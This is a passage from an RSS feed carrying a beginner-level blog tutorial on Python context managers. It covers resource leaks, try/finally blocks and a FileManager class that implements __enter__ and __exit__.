</content:encoded></item><item><title>Demystifying Context Managers in Python</title><link>https://sumit-ghosh.com/posts/demystifying-context-managers-python/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/demystifying-context-managers-python/</guid><description>Demystifying Context Managers in Python — by Sumit Ghosh.</description><pubDate>Wed, 02 Jan 2019 18:30:00 GMT</pubDate><content:encoded>&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;
&lt;p&gt;One of the “obscure” features of Python that almost all Python programmers use—even the beginner ones—but don’t really understand, is &lt;em&gt;context managers&lt;/em&gt;. You’ve probably seen them in the form of &lt;code&gt;with&lt;/code&gt; statements, usually first encountered when you learn opening files in Python. Although context managers seem a little strange at first, when we really dive into them, understand the motivation and techniques behind it, we get access to a new weapon in our programming arsenal. So without further ado, let’s dive into it!&lt;/p&gt;
&lt;h3 id=&quot;motivation-resource-management&quot;&gt;Motivation: Resource management&lt;/h3&gt;
&lt;p&gt;As someone much wiser than me said someday, “Necessity is the mother of invention”. To really understand what a context manager is and how can we use it, we must first investigate the motivations behind it — the necessities that gave rise to this “invention”.&lt;/p&gt;
&lt;p&gt;The primary motivation behind context managers is resource management. When a program wants to get access to a resource on the computer, it asks the OS for it, and the OS, in turn, provides it with a handle for that resource. Some common examples of such resources are files and network ports. What’s important to understand is that these resources have limited availability, for example, a network port can be used by a single process at a time, and there are a limited number of ports available. So whenever we &lt;em&gt;open&lt;/em&gt; a resource, we have to remember to &lt;em&gt;close&lt;/em&gt; it, so that the resource is freed. But unfortunately, it’s easier said than done.&lt;/p&gt;
&lt;p&gt;The most straightforward way to accomplish proper resource management would be calling the &lt;code&gt;close&lt;/code&gt; function after we’re done with the resource. For example —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;opened_file &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; opened_file.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;opened_file.close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are opening a file named &lt;code&gt;readme.txt&lt;/code&gt;, reading the file and saving its contents in a string &lt;code&gt;text&lt;/code&gt;, and then when we’re done with it, closing the file by calling the &lt;code&gt;.close()&lt;/code&gt; method of the file object. Now at first glance this might seem okay, but actually, it’s not robust at all. If &lt;em&gt;anything&lt;/em&gt; unexpected happens between opening the file and closing the file and the program fails to execute the line containing the &lt;code&gt;close&lt;/code&gt; statement, there would be a resource leak. These &lt;em&gt;unexpected events&lt;/em&gt; are what we call &lt;code&gt;exceptions&lt;/code&gt;, a common one would be when someone forcefully closes the program while it’s executing.&lt;/p&gt;
&lt;p&gt;Now, the proper way to handle this would be using &lt;em&gt;Exception handling&lt;/em&gt;, using &lt;code&gt;try...finally&lt;/code&gt; blocks. Look at the following example,&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;try&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    opened_file &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; opened_file.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;finally&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    opened_file.close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Python always makes sure the code in the &lt;code&gt;finally&lt;/code&gt; block is executed, regardless of anything that might happen. This is the way programmers in other languages would handle resource management, but Python programmers get a special mechanism that lets them implement the same functionality without all the boilerplate. Here’s where context managers come in.&lt;/p&gt;
&lt;h3 id=&quot;implementing-context-managers&quot;&gt;Implementing context managers&lt;/h3&gt;
&lt;p&gt;Now that we are done with the most crucial part about understanding context managers, we can jump into implementing them. For this tutorial, we will implement a custom &lt;code&gt;File&lt;/code&gt; class. It’s totally redundant as Python already provides this, but nevertheless, it’ll be a good learning exercise as we’ll always be able to relate back to the &lt;code&gt;File&lt;/code&gt; class that’s already there in the standard library.&lt;/p&gt;
&lt;p&gt;The standard and “lower-level” way of implementing a context manager is defining two “magic” methods in the class you want to implement resource management for, &lt;code&gt;__enter__&lt;/code&gt; and &lt;code&gt;__exit__&lt;/code&gt;. If you’re getting lost—thinking, “what’s this magic method thingy? I’ve never heard of this before”—well, if you’ve started doing object-oriented programming in Python, you surely have encountered a magic method already, the method &lt;code&gt;__init__&lt;/code&gt;. For lack of better words, they’re special methods that you can define to make your classes smarter or add “magic” to them. You can find a nice reference list of all the magic methods available in Python &lt;a href=&quot;https://rszalski.github.io/magicmethods/&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Anyway, getting back to the topic, before we start implementing these two magic methods, we’ll have to understand their purpose. &lt;code&gt;__enter__&lt;/code&gt; is the method that gets called when we open the resource, or to put it in a slightly more technical way — when we “enter” the &lt;em&gt;runtime context&lt;/em&gt;. The &lt;code&gt;with&lt;/code&gt;statement will bind this method’s return value to the target specified in the &lt;code&gt;as&lt;/code&gt; clause of the statement. Let’s look at an example,&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; FileManager&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __init__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, filename):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.filename &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; filename&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __enter__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.opened_file &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.filename)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.opened_file&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, the &lt;code&gt;__enter__&lt;/code&gt; method is opening the resource—the file—and returning it. When we use this &lt;code&gt;FileManager&lt;/code&gt; in a &lt;code&gt;with&lt;/code&gt; statement, this method will be called and its return value will be bind to the target variable you mentioned in the &lt;code&gt;as&lt;/code&gt; clause. I’ve demonstrated in the following code snippet —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; FileManager(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.read()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let’s break it down part-by-part. Firstly, an instance of the &lt;code&gt;FileManager&lt;/code&gt; class is created when we instantiate it, passing the filename “readme.txt” to the constructor. Then, the &lt;code&gt;with&lt;/code&gt; statement starts working on it — it calls the &lt;code&gt;__enter__&lt;/code&gt; method of that &lt;code&gt;FileManager&lt;/code&gt; object and assigns the returned value to the &lt;code&gt;file&lt;/code&gt; variable mentioned in the &lt;code&gt;as&lt;/code&gt; clause. Then, inside the &lt;code&gt;with&lt;/code&gt; block, we can do whatever we want to do with the opened resource.&lt;/p&gt;
&lt;p&gt;The other important part of the puzzle is the &lt;code&gt;__exit__&lt;/code&gt; method. The &lt;code&gt;__exit__&lt;/code&gt; method contains clean-up code which must be executed after we’re done with the resource, no matter what. The instructions in this method will be similar to the ones in the &lt;code&gt;finally&lt;/code&gt; block we discussed before while discussing exception handling. To reiterate, the &lt;code&gt;__exit__&lt;/code&gt; method contains instructions to properly close the resource handler, so that the resource is freed for further use by other programs // the OS. Now let’s take a look at how we might write this method —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; FileManager&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __exit__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self. &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;exc):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.opened_file.close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, whenever the instances of this class will be used in a &lt;code&gt;with&lt;/code&gt; statement, this &lt;code&gt;__exit__&lt;/code&gt; method will be called before the program leaves the &lt;code&gt;with&lt;/code&gt; block, or before the program halts due to some exception. Now let’s look at the whole &lt;code&gt;FileManager&lt;/code&gt; class so that we have a complete idea.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; FileManager&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __init__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, filename):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.filename &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; filename&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __enter__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.opened_file &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; open&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.filename)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;        return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.opened_file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; __exit__&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(self, &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;*&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;exc):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;        self&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;.opened_file.close()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Simple enough, right? We just defined the opening and cleaning-up actions in the respective magic methods, and Python will take care of resource management wherever this class might be used. That brings me to the next topic, the different ways we can use context manager classes, such as this &lt;code&gt;FileManager&lt;/code&gt; class.&lt;/p&gt;
&lt;h3 id=&quot;using-context-managers&quot;&gt;Using context managers&lt;/h3&gt;
&lt;p&gt;There’s not much to explain here, so instead of writing long paragraphs, I’ll provide code-snippets in this section.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; FileManager(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; FileManager(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; open_file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(filename):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt;    file&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; FileManager(filename)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;    return&lt;/span&gt;&lt;span style=&quot;--shiki-light:#E36209;--shiki-dark:#FFAB70&quot;&gt; file&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; open_file(&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;&apos;readme.txt&apos;&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;as&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;    text &lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; managed_file.read()&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;    print&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;(text)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;You can see that the key thing to remember is,&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The object passed to the &lt;code&gt;with&lt;/code&gt; statement must have &lt;code&gt;__enter__&lt;/code&gt; and &lt;code&gt;__exit__&lt;/code&gt; methods.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;__enter__&lt;/code&gt; method must return the resource that’s to be used in the &lt;code&gt;with&lt;/code&gt; block.&lt;/li&gt;
&lt;/ol&gt;
